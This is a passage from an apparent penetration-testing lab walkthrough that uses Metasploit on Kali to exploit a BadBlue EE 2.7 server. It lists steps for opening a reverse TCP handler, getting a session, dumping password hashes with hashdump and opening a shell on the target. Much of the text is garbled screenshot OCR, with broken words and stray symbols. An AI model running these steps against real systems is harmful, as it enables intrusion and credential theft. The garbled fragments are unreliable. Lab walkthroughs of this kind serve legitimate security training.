2. Exploiting the Target System with Metasploit
Now, Open terminal in kali and put the below commands:
1. service postgresql start(it will ask password, you can put kali over there)

2. service postgresql status (we have started sql so that it can store the values, output during exploit using

metasploit as if we close metasploit it can be stored in the database)
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5.use 1

~/Desktop

start

~/Desktop
1 p
e postgresql.
Loaded:
Active:
Invocat -
Proce
Main PID:
Mem peak:
CcPU:

sumit
31:56 sumit

systemd[1)
systemd[1]:

~/Desktop

adaptier nam

Ls 2 auxiliary -
payloads - 49 encoc

Metasploit Documentation:

BadBlue
BadBlue

Starting
Finished post

disabled;
ago

pr

SUCCESS)

pos PostgreSQL R

PostgresqQ

can be used for IP options set

431 post
nops

ocs.metasp

Rank Check Description

BadBlue
BadBlue

or

t: disabled)

RDBMS .,

LHOST
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ad -:'l:l"|+-1:3I..“e":‘|, |'!-!"+-'-.I.|"."|:'. to windows/me

BadBlue EE 2.7 Universal

msf6 exploit( ) » exploit

Started reverse TCP handler on 192.168.225.130:4444
Trying target BadBlue EE 2.7 Umiaversal ...
Exploit completed, b 10 5e55ion was created.

9. sysinfo

10.7

11. hashdump (you can see hash code and decrypt afterwards)

12. shell (now you are in shell and can see the directory and do the changes)
Pinging to check if target machine reachable

Ping <target_ip>

ploit(

1. i
168.1. |
1 1. 1
1 1. 1
168.1. 1
1 1. i
1 1. 1
168.1. 1
1 1. 1
1 1. 1
1 1l 1
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